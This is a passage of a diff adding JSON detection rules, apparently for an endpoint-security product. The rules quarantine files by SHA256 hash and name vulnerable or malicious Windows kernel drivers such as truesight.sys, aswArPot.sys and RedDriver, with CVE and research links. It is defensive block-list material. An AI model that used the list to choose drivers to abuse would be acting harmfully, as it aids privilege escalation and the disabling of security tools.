+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974927Z",
+  "creation_date": "2026-03-23T11:45:29.974929Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974934Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cb21a13819bf295f34f5b34e3e566d25d880b045831e90ff610daf9e8b1f15cd",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "426791a9-29ef-59b9-9b1d-72523bf8f27c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985933Z",
+  "creation_date": "2026-03-23T11:45:29.985935Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985941Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4f02aed3750bc6a924c75e774404f259f721d8f4081ed68aa01cf73ca5430f85",
+  "comment": "Malicious Kernel Driver related to RedDriver (aka telephonuAfY.sys, spwizimgVT.sys, 834761775.sys, reddriver.sys, typelibdE.sys, NlsLexicons0024UvN.sys and ktmutil7ODM.sys) [https://blog.talosintelligence.com/undocumented-reddriver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "426ba44c-104d-5045-9687-7fc5ab06e359",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810576Z",
+  "creation_date": "2026-03-23T11:45:31.810578Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810583Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6a65893522643740e9ba6032804eed874dc06a7a4102cf77d6a7817db77a5201",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "42789297-8eb3-597e-9890-98bfe53563cb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978615Z",
+  "creation_date": "2026-03-23T11:45:29.978617Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978623Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "37dde6bd8a7a36111c3ac57e0ac20bbb93ce3374d0852bcacc9a2c8c8c30079e",
+  "comment": "Vulnerable Kernel Driver (aka bwrsh.sys) [https://www.loldrivers.io/drivers/974de971-1f78-47b9-8049-6c34f294acd5/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "428ec23c-78ac-5bf2-b728-193dd466f694",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834578Z",
+  "creation_date": "2026-03-23T11:45:30.834581Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834590Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d9a51d54ff081f05c3ec8edb2ec962bd65551b604c8ec958d0fd7ffbef9c6767",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "429b420e-2d25-56c7-970a-2e23c0b75434",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823590Z",
+  "creation_date": "2026-03-23T11:45:30.823592Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823598Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "46e6d35814d232f0463bae3e1d62e1223712ff2332381ba57b81b17d28094991",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "42c8f827-c7c8-5780-90ec-b0ef4a4894d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816265Z",
+  "creation_date": "2026-03-23T11:45:31.816269Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816276Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6747ddf15cb0b7e570b67b030d999e300ad20d09f469076309f402cc89e838b2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "42d3ff0b-4f0f-5c97-aaaf-e318986da366",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983561Z",
+  "creation_date": "2026-03-23T11:45:29.983562Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983568Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fcdfe570e6dc6e768ef75138033d9961f78045adca53beb6fdb520f6417e0df1",
+  "comment": "Vulnerable Kernel Driver (aka cpupress.sys) [https://www.loldrivers.io/drivers/c0645f0f-9b97-4fe9-811e-2e45c250c9ef/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "42d66d37-8a8b-5e53-b993-6db4b13b5b8a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495004Z",
+  "creation_date": "2026-03-23T11:45:31.495006Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495012Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "96d63d9e47520118cabac54ebd80b264e9f61425a2ddef2efb0433ef3ba4538e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "42d6ebb2-3e20-5065-9705-08cdd285cca9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835267Z",
+  "creation_date": "2026-03-23T11:45:30.835270Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835279Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "95cbd3d9f485a1e5a9a24d819e21b89bcb576a937bd9b29e76bf2fd36d9abf3b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "42db1acf-3baa-559d-92ac-843995acbd49",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820408Z",
+  "creation_date": "2026-03-23T11:45:30.820410Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820415Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c490d6c0844f59fdb4aa850a06e283fbf5e5b6ac20ff42ead03d549d8ae1c01b",
+  "comment": "Vulnerable Kernel Driver (aka rtport.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "42e8fdf9-318f-53ee-bccf-8bf7eddcb29b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.471926Z",
+  "creation_date": "2026-03-23T11:45:31.471929Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.471938Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1bb41517da813467dc2bc6ba3b0edfc572685b2829a4f53dedf9003ed7873585",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "42ef1fb6-5792-5e4f-bf71-bef9e3487763",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832315Z",
+  "creation_date": "2026-03-23T11:45:30.832317Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832323Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "28026b2499bdaa4a19ed896e4bd77adb1a00b7f0575903dad25700025e588bfd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "42fc1784-da1a-533d-9023-3091c9178eca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144890Z",
+  "creation_date": "2026-03-23T11:45:31.144892Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144898Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "277c0ad0253ae2b95029b15a1de09347ad79504e1895cd7f3d8f4301941840ff",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "43090516-aae3-540a-8c34-e2b12cb654cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823936Z",
+  "creation_date": "2026-03-23T11:45:30.823938Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823951Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c23d427b9e2f82b2e76990423d71302347eec638291d316162848ce5c8c9e127",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "431e8288-f2d1-5673-8d3b-0f60db8ec7f9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968613Z",
+  "creation_date": "2026-03-23T11:45:29.968615Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968621Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4da08c0681fbe028b60a1eaf5cb8890bd3eba4d0e6a8b976495ddcd315e147ba",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "43339524-6517-5cdc-a2ce-4cd107c93ec0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461697Z",
+  "creation_date": "2026-03-23T11:45:30.461700Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461708Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7afdb552a7fa25dd716fe3a55c988a59d120e78f9ee95067f31901f51987ab8d",
+  "comment": "Vulnerable Kernel Driver (aka titidrv.sys) [https://www.loldrivers.io/drivers/705facba-b595-41dd-86a6-93aefe6a6234/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4338542b-c92f-57fb-ac09-e7dde9fcf460",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819071Z",
+  "creation_date": "2026-03-23T11:45:30.819073Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819078Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "93cdc6e885459d95d5e9d6b2ee979e5cad44af1f57bca3947d594847cfbd5829",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4368beaf-8942-5979-8455-56b6fa943495",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977934Z",
+  "creation_date": "2026-03-23T11:45:29.977936Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977949Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "58c071cfe72e9ee867bba85cbd0abe72eb223d27978d6f0650d0103553839b59",
+  "comment": "Vulnerable Kernel Driver (aka LgDCatcher.sys) [https://www.loldrivers.io/drivers/a8e999ee-746f-4788-9102-c1d3d2914f56/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "438f0b07-003e-5208-9167-636191eb5477",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140132Z",
+  "creation_date": "2026-03-23T11:45:31.140135Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140140Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "46bbd4f34a828cd453ccafedb8b8324c8932ad364cbeb976cd246ad87a235335",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "439744de-d70a-5c52-9d5a-80dc09625405",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473357Z",
+  "creation_date": "2026-03-23T11:45:31.473361Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473371Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "08eb3cc0078e0cb5efa0db9840c9b50740fbc6e00c7463bd876bb2623d6f6cf5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "439d9a33-4f95-5e9b-b3b2-348f4d457193",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157314Z",
+  "creation_date": "2026-03-23T11:45:31.157317Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157323Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "16ab022a72256fdf002fe69d9a15867c6bc710f67aacf8bd15a5518daee07862",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "43a57e7b-1e6a-5e78-ba70-9bfe97a1867b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
